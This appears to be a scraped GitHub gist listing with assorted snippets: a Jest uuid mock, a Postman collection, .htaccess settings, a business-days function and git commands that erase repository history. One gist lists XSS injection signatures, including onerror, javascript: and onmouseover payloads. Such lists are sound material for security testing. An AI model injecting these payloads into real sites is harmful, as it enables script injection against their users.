Skip to content

Instantly share code, notes, and snippets.

View mazipan's full-sized avatar
🏠
Working from home

Irfan Maulana mazipan

🏠
Working from home
View GitHub Profile

What

Open https://codesandbox.io/s/aloha-css-uyox7.

The app has an animating Box and "Hello" divs, however we got unexpected repaints over and over, and somehow the idle "hello" div also got repainted.

Debug

You can debug this issue by using Chrome Layers tab, you can see each element layering. You can enable flashing indicator by opening Chrome Rendering tab, and check "Paint flashing"

Why

@sibelius
sibelius / mock-uuid.ts
Created August 30, 2021 16:06
mock uuid v4 unique and stable for tests
jest.mock('uuid', () => {
const base = '9134e286-6f71-427a-bf00-';
let current = 100000000000;
return {
v4: () => {
const uuid = base + current.toString();
current++;
return uuid;
@mazipan
mazipan / cloudSettings
Last active July 29, 2021 07:04
Visual Studio Code Settings Sync Gist
{"lastUpload":"2021-07-29T07:04:16.368Z","extensionVersion":"v3.4.3"}
@wayanjimmy
wayanjimmy / Faskes BPJS.postman_collection.json
Created August 30, 2018 07:05
Faskes BPJS Postman Collection
{
"info": {
"_postman_id": "692adab9-f9a9-48e0-8452-08ba65e36958",
"name": "Faskes BPJS",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "Provinces list",
"request": {
@jefrydco
jefrydco / .htaccess
Last active April 7, 2017 07:14
I think this htaccess configuration is the best one.
# Serve all resources labeled as `text/html` or `text/plain`
# with the media type `charset` parameter set to `UTF-8`.
AddDefaultCharset utf-8
# Disable the pattern matching based on filenames.
Options -MultiViews

Intercom user_hash

Remember that your secret key should never be exposed to the public

  • So Javascript code below should only be used for testing unless modified and used to run on a server
@xsscx
xsscx / XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
Last active June 3, 2024 15:29
XSS, Cross Site Scripting, Javascript, Meta, HTML Injection Signatures
/* Remote File Include with HTML TAGS via XSS.Cx */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-javascript-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-http-header-injection-signatures-only-fools-dont-use.txt */
/* INCLUDE:URL http://xss.cx/examples/ultra-low-hanging-fruit/no-experience-required-css-injection-signatures-only-fools-dont-use.txt */
/* Updated September 29, 2014 */
/* RFI START */
<img language=vbs src=<b onerror=alert#1/1#>
<isindex action="javas&Tab;cript:alert(1)" type=image>
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
@psdtohtml5
psdtohtml5 / snippet.js
Created October 15, 2013 23:58
JavaScript : Add Business days to a date
// https://github.com/lsmith/addBusinessDays/blob/master/addBusinessDays.js
// var d = new Date();
// addBusinessDays(d, numberOfDays);
function addBusinessDays(d,n) {
d = new Date(d.getTime());
var day = d.getDay();
d.setDate(d.getDate() + n + (day === 6 ? 2 : +!day) + (Math.floor((n - 1 + (day % 6 || 1)) / 5) * 2));
return d;
}
@stephenhardy
stephenhardy / git-clearHistory
Created April 26, 2013 22:14
Steps to clear out the history of a git/github repository
-- Remove the history from
rm -rf .git
-- recreate the repos from the current content only
git init
git add .
git commit -m "Initial commit"
-- push to the github remote repos ensuring you overwrite history
git remote add origin git@github.com:<YOUR ACCOUNT>/<YOUR REPOS>.git